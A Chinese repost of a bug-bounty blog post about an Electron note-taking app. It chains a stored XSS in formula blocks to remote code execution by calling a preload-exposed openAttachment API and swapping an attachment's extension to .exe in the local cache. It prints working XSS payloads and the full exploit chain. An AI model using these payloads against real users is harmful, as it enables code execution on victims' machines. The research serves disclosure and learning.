这个非常有趣的发现实际上始于 YouTube 视频 ->微软如何意外地从 2.7 亿用户那里窃取后门。它看起来像是一个与点击诱饵黑客相关的视频(激起人们对微软的愤怒并试图教孩子们如何黑客攻击)。尽管如此,所涉及的技术非常生动和鼓舞人心,这里解释的部分帮助我解释了工作原理electron和升级到 RCE 的技术!我建议您观看它,因为它可以教您electron渲染和主要过程的基础知识,以及electron-rce通常的样子。
想象一下这种情况:现在是凌晨 2 点,你正盯着明天安排的期末数学考试。你还没有复习任何东西,而你的 GPA 很大程度上取决于这次考试。当你考虑失败的后果时,突然,一个同学给你发了一个文件夹。它们包含考试答案,在网络上查看时看起来完全正常。你松了一口气,决定在客户端中检查它们以获得更好的访问权限。但在保存文件的几秒钟内,你被黑客入侵了。你的社交媒体帐户被劫持,最糟糕的是,你未保存的 git 提交被重置。现在,猜猜谁这周剩下的时间都睡不着觉了?
在这篇博客中,我将向您介绍如何在流行的 Note App 中发现和利用存储型 XSS -> RCE漏洞,该应用的平均每日用户数约为450,000。从审计源到动态调试 Electron,我将介绍每个步骤。让我们深入了解一下
存储型 XSS:数学有多危险
所有这些复杂的后续利用都始于一个简单的功能:公式显示
在应用程序中集成的Markdown笔记功能中,您可以根据Formula blocks需要添加显示公式,例如,如果我想漂亮地打印公式:$$ E = mc^2 $$ 我实际输入的是代码$$ E = mc^2 $$,$$表示注入的数学方程式或我们称之为math delimiters。Equation renderers在我们定位XSS漏洞时,始终被视为兴趣点,因为它Equation renderers以不同的方式呈现内容。正如我之前对这个应用程序的探索中所说的那样。我还能够在利用中找到XSS Formula blocks(unicode我们Equation renderers过去利用的有效载荷是unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}),这个有效载荷会将一个<img>标签注入到我们加载的恶意src:1的内容中,它将触发onerror类中的JavaScript有效载荷。我将这个漏洞作为XSS提交。然而,尽管它可以泄露任何用户的cookie和查看此文档的内容,但我只收到了500元人民币(约70美元)的赏金。
六个月后,我开始对 electron 应用和 XSS 产生了兴趣,因此我又重新开始了对这个应用的漏洞之旅!在花了几个小时利用第三方服务等其他组件后,我决定把注意力放回到Formula blocksMarkdown Notes 的功能上(因为他们一直在收到 CVE 报告)。又花了几个小时利用。最后,期待已久的警告框终于出现了,这要归功于:
<style>*{font-size:23px;}</style>{}
RCE:电子是有质量的
Electron 是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架。通过将Chromium和Node.js嵌入到其二进制文件中,Electron 允许您维护一个 JavaScript 代码库并创建可在 Windows、macOS 和 Linux 上运行的跨平台应用程序 - 无需任何本机开发经验。
说完了数学,我们来谈谈物理吧。Electron是如何工作的?开个玩笑,我们现在提到的 Electron 是一个使用 JavaScript 构建桌面应用程序的框架,许多著名的应用程序(如 Discord、Tidal、1Password 等)都使用 Electron 作为开发框架。
Electron 为何如此吸引人?除了性价比高之外,它还使用了HTML, CSS, JS,而且它的标志看起来很酷。Electrons 继承了 Chromium 的多进程架构:多进程模型
所应用的多进程模型electron由main process和组成render process。
-
一方面,main process充当应用程序的入口点,electron使它们能够调用和需要任意node.jsAPI 和BrowserWindow方法来启动render process,
-
另一方面,render process类似于 Google Chrome 中的标签页,它们与其他标签页是分开的,但render process它们不能直接调用node.jsAPI,这些 API 包含在其 Web 内容开始加载之前在渲染器进程中执行的代码,从而允许通过或Preload scriptsipcRenderercontextBridge
这种特殊的模型electron保证了实用性和安全性;当一个渲染崩溃时不会影响其他进程;它保证了不同进程的信息和API隔离。例如,使用Chrome等浏览器,你不会希望你的在线游戏标签窃取你银行网站标签上的信息,或者只是在你的浏览器上运行任意代码(那将是一个天堂)。
另一方面,这种隔离机制使我们更难将这种 XSS->RCE 变成 RCE,因为我们不能随心所欲地require('child_process').exec('calc');运行代码。尽管如此,没有什么是不可能的,请注意我们所说的Preload scripts,因为这些脚本在渲染器中先于其他脚本加载,所以它们可以无限制地访问 Node API :)))
那么我们的 Electron 里有什么?
如前所述,Electron 的设置使我们很难将其转变为 RCE,但是,最好检查我们的 XSS 易受攻击的浏览器处于哪种情况,以检查是否存在漏洞。
了解了 Electron 的工作原理后,让我们回到正题上。进入 Note App 的根目录,在目录中/resources,你会看到一个app.asar文件,它是正在运行的 Electron App 的打包:
创建应用程序分发版后,应用程序的源代码通常会捆绑到ASAR 存档中,这是一种为 Electron 应用程序设计的简单广泛的存档格式。通过捆绑应用程序,我们可以缓解 Windows 上长路径名的问题,加快速度require并隐藏源代码以免被粗略检查。
捆绑的应用程序在虚拟文件系统中运行,大多数 API 都可以正常工作,但在某些情况下,由于一些注意事项,您可能需要明确处理 ASAR 档案。
asar通过安装解压工具npm install -g asar,可以通过提取此包asar extract app.asar ./。源代码存储在disk/目录下,bridge.js collect.js context.js main.js noteToPdf.js scholar.js server.js让我们深入了解一下main.js。从行开始53085,似乎通过以下方式为我们的 Main Tabmain.js定义了一个:render processmakeWindow
s.Logger.log("主窗口:startMain() 判断不存在主窗口"),
console.log("[startup][main-window-start][ydoc]", Date.now());
const n = !process.env.DISABLE_SCHOLAR && (await a(2188).E()),
u = process.mas || !1,
g = `${o.serverConfig.host}/i.html?${(0, x.stringify)({
openatlogin: this.getOpenAtLogin(),
host: process.argv.indexOf("--t") >= 0 ? "test" : void 0,
debug: "true" === process.env.debug || void 0,
appversion: "7.2.181",
mas: process.mas,
hideCheckUpdate: u,
scholar: n,
_: Date.now(),
})}`,
_ = await (async (e) => {
const n = await (0, R.getSettings)(),
a = n.mainWindowSize || [],
[o = 1200, s = 800] = a,
u = n.userTheme,
p = this.getWindowBg(u),
g = this.makeWindow({
title: "有道云笔记",
width: o,
height: s,
minWidth: 650,
minHeight: 680,
webPreferences: {
contextIsolation: !0,
preload: (0, I.join)(
i.app.getAppPath(),
"dist/bridge.js"
),
},
resizable: !0,
backgroundColor: p,
maximizable: !0,
fullscreenable: !0,
vibrancy: "light",
show: !1,
});
值得一看的是这里,它将webPreferences作为参数解析到makeWindow方法中,该参数指定各种设置来控制加载的网页的功能和安全方面:
webPreferences: {
contextIsolation: !0,
preload: (0, I.join)(
i.app.getAppPath(),
"dist/bridge.js"
),
},
1.contextIsolation: !0,:
-
contextIsolation是 Electron 中的一项安全功能,可确保主进程(应用程序的代码)中的代码与渲染器进程(Web 内容)中的代码隔离。
-
!0是一个 JavaScript 表达式,相当于true。这表示已启用上下文隔离。启用此功能是安全性的最佳实践,可防止来自 Web 内容的潜在攻击。
2.preload: (0, I.join)(i.app.getAppPath(), "dist/bridge.js"):
-
preload指定在渲染器进程中运行任何其他脚本之前加载的脚本。无论网页中是否启用了节点集成,此脚本都可以访问 Node.js API,从而允许 Web 内容和 Electron API 之间进行安全通信。
-
dist/bridge.js在这种情况下,它从当前导入i.app.getAppPath
这两个设置指定了此选项卡中采取的安全措施,由于我们之前已经实现了 XSS,因此我们已经获得了向该注释中注入任意有效负载的能力。尽管如此,contextIsolation设置为false,就像前面提到的那样,render process和main process是隔离的,因此我们不能直接直接请求Node.jsAPI;然而,回顾我们对 Electron 的介绍,一个叫做 的东西Preload Script引起了我们的注意:
但是,Preload scripts其中包含在 Web 内容开始加载之前在渲染器进程中执行的代码,从而允许通过ipcRenderer或contextBridge
尽管我们不能直接Node.js在独立的 中调用render process,但是,由于是Preload scripts在网页内容开始加载之前执行的,因此我们可以直接Node.js使用 中的公开 API 进行调用Preload scripts。在我们的例子中,此窗口会预加载:(0, I.join)(i.app.getAppPath(), "dist/bridge.js")
(() => {
"use strict";
var e = [
,
(e) => {
e.exports = require("electron");
},
(e, n) => {
Object.defineProperty(n, "__esModule", { value: !0 }),
(n.EventType = void 0),
(function (e) {
// dozens of defines ...
(e.SetScreenCaptureShortcut = "setScreenCaptureShortcut"),
(e.OpenResourceFile = "openResourceFile"),
(e.OpenSystemPreferences = "openSystemPreferences"),
(e.ShowUpdateConfirm = "showUpdateConfirm"),
(e.SetMemoSettings = "setMemoSettings"),
(e.ReceiveMemoSettings = "receiveMemoSettings"),
(e.OpenSingleMemoWindow = "openSingleMemoWindow"),
(e.PinSingleWindow = "pinSingleWindow"),
(e.UploadTrackLog = "uploadTrackLog"),
(e.audioStateTransfer = "audioStateTransfer"),
(e.EnterVipInMain = "enterVipInMain"),
(e.OpenWebview = "openWebview"),
(e.OnceAskIsSyncing = "onceAskIsSyncing");
})(n.EventType || (n.EventType = {}));
},
(e, n) => {
Object.defineProperty(n, "__esModule", { value: !0 }),
(n.EVENTS = void 0),
(function (e) {
// dozens of defines ...
(e.toggleUpdateIcon = "toggleUpdateIcon"),
(e.getMemoSettings = "getMemoSettings"),
(e.showMemoToolbar = "showMemoToolbar"),
(e.windowFocus = "windowFocus"),
(e.windowBlur = "windowBlur"),
(e.syncAudioStateTransfer = "syncAudioStateTransfer"),
(e.showSyncFiles = "showSyncFiles"),
(e.disableAutoCheckUpdate = "disableAutoCheckUpdate"),
(e.syncFiles = "syncFiles"),
(e.syncFileStatus = "syncFileStatus"),
(e.onLoginSyncing = "onLoginSyncing");
})(n.EVENTS || (n.EVENTS = {}));
},
],
n = {};
function __webpack_require__(t) {
var o = n[t];
if (void 0 !== o) return o.exports;
var i = (n[t] = { exports: {} });
return e[t](i, i.exports, __webpack_require__), i.exports;
}
(() => {
const e = __webpack_require__(1),
n = __webpack_require__(1),
t = __webpack_require__(2),
o = __webpack_require__(3);
process.env.STARTUP_LOGGEDIN &&
!process.env.STARTUP_TIME_TRACKED &&
((process.env.STARTUP_TIME_TRACKED = "true"),
e.ipcRenderer.send(t.EventType.HubbleTrack, {
eventId: "startMainTime",
value: Date.now() - Number(process.env.START_TIME),
}));
const i = {
ready: (n) => {
Object.keys(o.EVENTS).forEach((t) => {
e.ipcRenderer.on(t, (e, ...o) => {
n(t, ...o);
});
});
},
hubbleAppKey: "MA-9FD4-F3C3C0C65845",
};
Object.values(t.EventType).forEach((n) => {
i[n] = (...o) => {
e.ipcRenderer.send(t.EventType.ConsoleLog, `Call native API: ${n}`),
e.ipcRenderer.send(n, ...o);
};
}),
n.contextBridge.exposeInMainWorld("[redacted]", i); // exposing
})();
})();
该预加载脚本似乎将必要的本机 API公开render process给:
-
它首先使用函数数组定义了几个模块,其中每个模块被设计用于执行与 IPC 或 Electron 功能相关的特定任务。
-
然后,它使用EventType渲染进程可以发送给主进程的自定义事件或命令的枚举。这些操作包括最大化或最小化窗口、同步数据、管理文件操作等;
-
该__webpack_require__函数是模块捆绑器设置 (Webpack) 的一部分,用于管理模块加载。它允许在应用程序内调用和管理依赖项。
-
在最后的自调用函数中,ipcRenderer用于设置 IPC 事件的监听器和发送器。这在 Electron 应用中很常见,因为渲染器进程(网页)需要与主进程(Node.js)进行通信;
-
最后,用于contextBridge安全地将后端功能暴露给前端渲染器进程。此对象充当桥梁[redacted],允许前端代码与后端 Electron API 交互,而无需将 Electron API 或 Node.js 环境的不必要部分暴露给渲染器。
将此代码分段Preloaded到我们的主要浏览器选项卡中;API 管理[redacted]对象直接向我们公开。我们可以通过使用Note APP 上的控制台Debugtron来确保这一点:F12
>> window.top.[redacted]
<< {hubbleAppKey: "MA-9FD4-F3C3C0C65845", ready: ƒ, currentFile: ƒ, handleDeviceManagement: ƒ, triggerUpdate: ƒ, …}
对于在中定义的这些API方法Preload Script,它们也可以通过此[redacted]对象访问
>> window.top.[redacted].setMemoSettings
<< ƒ () { [native code] }
根据这些暴露的API列表的名称来判断,我们可以假设每个方法的功能;例如,如果你调用[redacted].screenCapture(),程序将打开一个新screenCapture选项卡,但这对我们的XSS->RCE没有任何帮助,因为它除了惹恼受害者之外什么也做不了;我们实际上要寻找的是一个允许我们直接/间接地在受害者的机器上实现远程代码的API,以便我们可以通过我们可以利用的XSS漏洞[redacted]加载的暴露对象来调用它preload script,在手动检查函数列表后,3个方法立即引起了我的注意:
-
(e.OpenClientSoftWare = "openClientSoftWare"),
-
(e.OpenAttachment = "openAttachment"),
-
(e.OpenResourceFile = "openResourceFile"),
尽管如此,我没有找到OpenClientSoftWare在哪里实现的,main.js所以它的预期参数,它给我们留下了(e.OpenAttachment = "openAttachment"),&(e.OpenResourceFile = "openResourceFile"),此外,我们需要期望在不同的客户端中保持一致性,(e.OpenResourceFile = "openResourceFile"),因为ResourceFile路径在不同的机器上有所不同,这让我们成为最后的赢家e.OpenAttachment = "openAttachment"::
openAttachment是应用程序中专门集成笔记文件中实现的功能,用户可以将文件嵌入到笔记中,当用户使用该文件上的小图标 :eyes: 打开该文件时,该文件将自动打开,此功能实际上是使用以下方式实现的:i.shell.openPath(a)
i.ipcMain.on("gotAttachmentPath", (e, n) => {
const { path: a, status: o, readonly: s } = n;
p.Logger.log("[attachment] ipcMain.on gotAttachmentPath");
try {
const e = this.windows.filter(
(e) => !e.isDestroyed() && e.isFocused()
);
if (a)
s ||
e.forEach((e) => {
e.webContents.send(
E.EVENTS.[redacted]Toast,
"修改此文件并保存可同步至[redacted]",
"success"
);
}),
i.shell.openPath(a);
此方法接受dict作为参数,这dict需要包括:
-
resourceId:resourceId附件的,这resourceId似乎一直都是恒定的,因为它似乎来自该附件的上传 URL:https://note.[redacted].com/yws/public/resource/<NOTE>/xmlnote/<ATTACHMENTID>
-
name:附件的文件名
-
size:附件的大小(其实并不重要)
-
readonly:文件是否为只读
现在,由于resourceId文件加载器的任何地方都保持不变,我的第一个想法是:
创建文件夹 -> 将可执行文件作为普通笔记的附件上传 -> 使用 XSS payload 创建 Markdown 笔记 -> 调用特权[redacted]['openAttachment']打开此文件 -> RCE
但是,我们注意到服务器对附件的后缀进行了限制,我们只允许上传诸如 这样的文件.jpg,.m4a该怎么办呢?
任何事情都有.exe可能.exe
在漫无目的地摸索和摆弄应用程序的过程中,我发现每条笔记都先作为缓存文件保存在 下AppData/Roaming/[redacted]-desktop,每次修改都先本地保存在这些缓存文件中,然后再同步到网页上。这让我们有机会在前端受限的情况下摆弄笔记的内容。
这些缓存文件以表格形式保存json,每个块都表示为某种 ID,例如p5PQ-1621846617594。例如,这是文件,内容是“嗨,我是 patrick,请访问0reg.dev plz”:
{
"2": "1",
"3": "Ju9C-1621846617594",
"4": {
"version": 1,
"incompatibleVersion": 0,
"fv": "0"
},
"5": [
{
"3": "3060-1621846615933",
"5": [
{
"2": "2",
"3": "p5PQ-1621846617594",
"7": [
{
"8": "hi i am patrick visit 0reg.dev plz"
}
]
}
]
}
],
"title": "",
"__compress__": true
}
这个缓存文件包含此笔记的附加version信息title,但这不是我们的主要关注点。当我们上传附件时,会创建此块:
"3": "W6EK-1713844084965",
"4": {
"version": 1,
"fn": "0reg.dev.txt",
"fl": "",
"re": "https://note.[redacted].com/yws/res/d/WEBRESOURCE085d65b128282a0304d11d724d860a9d",
"sr": "https://note.[redacted].com/yws/res/5/WEBRESOURCE6a91c0ea39c64fb092cb7ccae01f3295"
},
"6": "a"
W6EK-1713844084965表示此块(即上传的附件)的属性,而fn表示文件名,re并且sr可能表示resourceURL此附件的 和SourceURL源注释的 。此外,这种保存后上传的方法使我们能够修改filenames和同步,允许我们在应用程序上修改一件事,而另一件事是同步。回到我们的利用案例中,我们可以通过上传一个具有受信任子缀的文件来绕过子缀限制,但将缓存修改为其他,例如,我们可以calc.m4a一方面创建一个,而将实际修改fn为“calc.exe ; then wheni.shell .openPath(a) fromOpenAttachment is called, the.exesubfix will be interpreted as可执行文件”并执行。
开发!
最后,通过我们对数学和物理的探索,涉及到LaTex XSS injection with and {},使用Preload Script绕过 Electron 的 NodeIntegration Protection 以及最后使用local cache绕过附件子前缀清理。
首先,我们需要executable在注释中嵌入一个绕过子前缀的注释,在本例中我们将其用作calc.exe实例。在实际情况下,您可以使用.cmd或.bat来创建完全安静的利用或直接执行代码(.exe如果您编程得当,则不会启动任何窗口)。之后,我们将markdown在同一个文件夹中创建一个文件,其中包含我们最终的有效载荷:
$$<script>window.top.[redacted]['openAttachment']({resourceId:"WEBRESOURCE4548e5c61ab6fabd6dd3e96196b5b146",name:"calc.exe",size:987600,readonly: false})
</script>{}$$
在这个有效载荷之后发生的事情是
-
我们的payload被错误地渲染了Equation renderers,<script>标签会被视为HTML中的一个真实标签,因此标签中的脚本会在公式渲染后立即执行。
- 我们通过访问公开Preload ScriptAPI [redacted](通过公开n.contextBridge.exposeInMainWorld("[redacted]", i)),window.top它将不会受到保护NodeIntegration,Multi-Process Model因为它已经在之前运行了render process
- [redacted]的方法openAttachment将打开嵌入在 Notes 中的附件,dictonary并将解析为一个参数,resourceId可以通过检查local cache或获取AttachmentURL,name这里使用了名称executable
- 秘密嵌入Attachment->calc.exe无需任何进一步的用户交互即可启动;任意代码在受害者的电脑上执行
然后,我们将使用共享功能将文件夹共享给受害者,文件夹中的每个文件在他们打开客户端之前看起来都是绝对无害的,因为这些文件只在 Electron 客户端中预加载和找到。最后,当用户登录 Electron 客户端时,几秒钟内,注入的 JavaScript 就会被调用;然后会弹出一个窗口,表示 RCE 成功。window.top.[redacted]calc.exe
Electron
Math
:
8
Million User Note App Stored XSS -> RCE bypassing nodeintegration via preload.js
in
electron
https:
//0reg.dev/blog/electron-math
原文始发于微信公众号(Ots安全):Electron Math:800 万用户注意到应用程序存储型 XSS -> RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论